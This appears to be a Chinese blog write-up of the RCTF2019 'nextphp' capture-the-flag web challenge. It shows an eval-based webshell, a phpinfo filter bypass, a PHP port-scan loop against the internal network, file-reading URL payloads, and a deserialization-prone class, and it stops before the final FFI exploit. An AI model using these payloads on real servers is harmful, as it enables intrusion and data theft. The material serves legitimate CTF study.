美文网首页
BUUCTF/RCTF2019 nextphp

BUUCTF/RCTF2019 nextphp

作者: Visianlee | 来源:发表于2019-06-22 10:35 被阅读0次
这题主要考察PHP-7.4中的两个特性( FFI 、 Serializable 的 __serialize 和 __unserialize ),通过 FFI 绕过 disable_functions 限制。

首先拿到题目:

<?php
if (isset($_GET['a'])) {
    eval($_GET['a']);
} else {
    show_source(__FILE__);
}

存在命令执行,测试无果,全部报错,这里网上有两个绕过方法:

可以在中间加上空格phpinfo ()绕过
?a=phpinfo+();
?a=echo phpinfo();

以通过 phpinfo 发现存在如下关键信息:
PHP Version 7.4.0-dev
内网IP:172.20.0.1
开启了FFI
opcache.preload:/var/www/html/preload.php
open_basedir:/var/www/html
disable_classes:ReflectionClass
disable_functions:set_time_limit,ini_set,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,system,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,ld,mail,putenv,error_log,dl

刚开始,想通过这个shell进行SSRF扫描内网,看看内网是否还有其他主机运行web,因为有可能内网中其他机器上的disable_functions限制没有这么严格。

 // 端口扫描:
$hosts='127.0.0.1';
$timeout=0.5;
for($i=0;$i<65535;$i++){
    $c=@fsockopen($hosts,$i, $en,$es, $timeout);
    if(is_resource($c)){
        echo $hosts.':'.$i.' => open\n<br>';
        fclose($c);
    }
    ob_flush();
    flush();
}
# 题目内网IP:172.20.0.1
172.20.0.2:80 => open\n<br>
172.20.0.2:46036 => open\n<br>
172.20.0.2:53310 => open\n<br>
172.20.0.2:65616 => open\n<br>

发现 172.20.0.2 上有和题目一模一样的 web 环境,但是对比了他们两个的 phpinfo 信息,发现是一样的,其他端口没什么发现,放弃这个思路。

发现没有过滤scandir()

http://web18.buuoj.cn/?a=var_dump(scandir('/var/www/html'));
http://web18.buuoj.cn/?a=var_dump(scandir(getcwd()));
图片.png

爆出根目录文件
利用file_get_contents()/show_source查看preload.php源码

http://web18.buuoj.cn/?a=echo file_get_contents('preload.php');
http://web18.buuoj.cn/?a=show_source("preload.php");
<?php
final class A implements Serializable {
    protected $data = [
        'ret' => null,
        'func' => 'print_r',
        'arg' => '1'
    ];

    private function run () {
        $this->data['ret'] = $this->data['func']($this->data['arg']);
    }

    public function __serialize(): array {
        return $this->data;
    }

    public function __unserialize(array $data) {
        array_merge($this->data, $data);
        $this->run();
    }

    public function serialize (): string {
        return serialize($this->data);
    }

    public function unserialize($payload) {
        $this->data = unserialize($payload);
        $this->run();
    }

    public function __get ($key) {
        return $this->data[$key];
    }

    public function __set ($key, $value) {
        throw new \Exception('No implemented');
    }

    public function __construct () {
        throw new \Exception('No implemented');
    }
}

参考文章:
http://118.25.174.93/index.php/archives/694/#nextphp
https://blog.csdn.net/qq_41809896/article/details/90384668
https://aluvion.github.io/2019/05/25/RCTF2019-Web-nextphp%E5%BC%95%E5%8F%91%E7%9A%84%E6%80%9D%E8%80%83%E5%92%8C%E5%AD%A6%E4%B9%A0/
https://mochazz.github.io/2019/05/21/RCTF2019Web%E9%A2%98%E8%A7%A3%E4%B9%8Bnextphp/

相关文章

  • BUUCTF/RCTF2019 nextphp

    首先拿到题目: 存在命令执行,测试无果,全部报错,这里网上有两个绕过方法: 以通过 phpinfo 发现存在如下关...

  • buuctf

    level2: 简单的栈溢出,覆盖返回地址 ez_pz_hackover_2016 泄露栈地址,ida分析绕过,r...

  • BUUCTF-WEB-Online Tool

    复现地址:https://buuoj.cn/challenges#[BUUCTF%202018]Online%20...

  • BUUCTF Hackworld

    首先用sqlmap跑一跑没有结果尝试输入,测试注入点和过滤 可以发现,只要被过滤了就会显示SQL Injectio...

  • buuctf-upload-labs

    刷了下buuctf搭建的upload-labs,记录一下。 地址:https://buuoj.cn/ Pass 0...

  • BUUCTF_WEB

    [HCTF 2018]WarmUp 打开链接后是一张图片,看看源码提示source.php,进入source.ph...

  • pwn----BUUCTF

    NO.00 pwn1_sctf_2016_sovle exp NO.01 warmup_csaw_2016_sov...

  • 【BUUCTF】MISC WP Ⅱ

    [MRCTF 2020] Hello_ misc 文件名提示修复图片,用 stegsolve 修复红色色道,保存为...

  • BUUCTF re:CrackRTF

    ida打开,看main函数: 可以看到逻辑是输入两次密码,第一次密码验证后,再输入一次第一次输入6位字符,存到pb...

  • BUUCTF crypto WP

    题目地址:https://buuoj.cn/challenges 0x01 MD5 密文e00cf25ad4268...

网友评论

      本文标题:BUUCTF/RCTF2019 nextphp

      本文链接:https://www.haomeiwen.com/subject/xtuuqctx.html